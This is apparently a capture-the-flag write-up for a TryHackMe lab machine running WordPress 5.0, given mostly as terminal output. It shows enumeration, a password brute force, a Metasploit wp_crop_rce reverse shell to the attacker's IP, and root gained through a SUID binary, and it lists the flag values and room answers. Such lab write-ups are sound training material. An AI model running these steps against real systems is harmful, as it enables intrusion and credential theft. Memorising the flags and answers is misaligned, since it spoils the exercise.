Billy Joel made a Wordpress blog!
Blog
💢 We will cover the topics#
- Network Enumeration
- Enumeration (Wordpress)
- Metasploit (wp_crop_rce)
- Abusing SUID/GUID
Task 1 Blog#
Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!
Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole…
In order to get the blog to work with AWS, you’ll need to add blog.thm to your /etc/hosts file.
Credit to Sq00ky for the root privesc idea ;)
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| kali@kali:~/CTFs/tryhackme/Blog$ sudo nmap -A -sS -sC -sV -O blog.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-11 16:46 CEST
Nmap scan report for blog.thm (10.10.85.93)
Host is up (0.032s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Billy Joel's IT Blog – The IT blog
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/11%OT=22%CT=1%CU=41803%PV=Y%DS=2%DC=T%G=Y%TM=5F831A
OS:E4%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST
OS:11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)EC
OS:N(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: blog
| NetBIOS computer name: BLOG\x00
| Domain name: \x00
| FQDN: blog
|_ System time: 2020-10-11T14:46:58+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-10-11T14:46:58
|_ start_date: N/A
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 30.97 ms 10.8.0.1
2 31.04 ms blog.thm (10.10.85.93)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.81 seconds
|
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| kali@kali:~/CTFs/tryhackme/Blog$ wpscan --url http://blog.thm --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.1
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://blog.thm/ [10.10.85.93]
[+] Started: Sun Oct 11 16:50:08 2020
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://blog.thm/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://blog.thm/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
| Found By: Rss Generator (Passive Detection)
| - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
| - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://blog.thm/wp-content/themes/twentytwenty/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 1.5
| Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==========================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] kwheel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] bjoel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Karen Wheeler
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[+] Billy Joel
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Sun Oct 11 16:50:19 2020
[+] Requests Done: 51
[+] Cached Requests: 8
[+] Data Sent: 11.419 KB
[+] Data Received: 385.417 KB
[+] Memory used: 170.254 MB
[+] Elapsed time: 00:00:10
|
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| kali@kali:~/CTFs/tryhackme/Blog$ wpscan -U wp_user.txt -P /usr/share/wordlists/rockyou.txt --url http://blog.thm
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.1
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://blog.thm/ [10.10.85.93]
[+] Started: Sun Oct 11 16:52:31 2020
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://blog.thm/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://blog.thm/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
| Found By: Rss Generator (Passive Detection)
| - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
| - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://blog.thm/wp-content/themes/twentytwenty/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 1.5
| Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <===========================================================================================================================> (21 / 21) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] - kwheel / cutiepie1
|
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| kali@kali:~/CTFs/tryhackme/Blog$ msfconsole -q
msf5 > use exploit/multi/http/wp_crop_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(multi/http/wp_crop_rce) > show options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.178.52 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
msf5 exploit(multi/http/wp_crop_rce) > set rhost blog.thm
rhost => blog.thm
msf5 exploit(multi/http/wp_crop_rce) > set username kwheel
username => kwheel
msf5 exploit(multi/http/wp_crop_rce) > set password cutiepie1
password => cutiepie1
msf5 exploit(multi/http/wp_crop_rce) > set LHOST 10.8.106.222
LHOST => 10.8.106.222
msf5 exploit(multi/http/wp_crop_rce) > run
[*] Started reverse TCP handler on 10.8.106.222:4444
[*] Authenticating with WordPress using kwheel:cutiepie1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38288 bytes) to 10.10.85.93
[*] Meterpreter session 1 opened (10.8.106.222:4444 -> 10.10.85.93:33948) at 2020-10-11 17:03:30 +0200
[*] Attempting to clean up files...
meterpreter > shell
Process 1626 created.
Channel 1 created.
SHELL=/bin/bash script -q /dev/null
www-data@blog:/var/www/wordpress$ whoami
whoami
www-data
|
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| www-data@blog:/var/www/wordpress$ find / -type f -user root -perm -u=s 2>/dev/null
<s$ find / -type f -user root -perm -u=s 2>/dev/null
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/sbin/checker
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
www-data@blog:/var/www/wordpress$ file /usr/sbin/checker
file /usr/sbin/checker
/usr/sbin/checker: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6cdb17533a6e02b838336bfe9791b5d57e1e2eea, not stripped
www-data@blog:/var/www/wordpress$ ltrace /usr/sbin/checker
ltrace /usr/sbin/checker
getenv("admin") = nil
puts("Not an Admin"Not an Admin
) = 13
+++ exited (status 0) +++
www-data@blog:/var/www/wordpress$ export admin=1
export admin=1
www-data@blog:/var/www/wordpress$ /usr/sbin/checker
/usr/sbin/checker
root@blog:/var/www/wordpress# cd /root
cd /root
root@blog:/root# ls
ls
root.txt
root@blog:/root# cat root.txt
cat root.txt
9a0b2b618bef9bfa7ac28c1353d9f318
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| root@blog:/root# find / -type f -name user.txt 2>/dev/null
find / -type f -name user.txt 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt
root@blog:/root# cat /media/usb/user.txt
cat /media/usb/user.txt
c8421899aae571f7af486492b71a8ab7
root@blog:/root#
|
- root.txt
9a0b2b618bef9bfa7ac28c1353d9f318
- user.txt
c8421899aae571f7af486492b71a8ab7
- Where was user.txt found?
/media/usb
- What CMS was Billy using?
Wordpress
- What version of the above CMS was being used?
5.0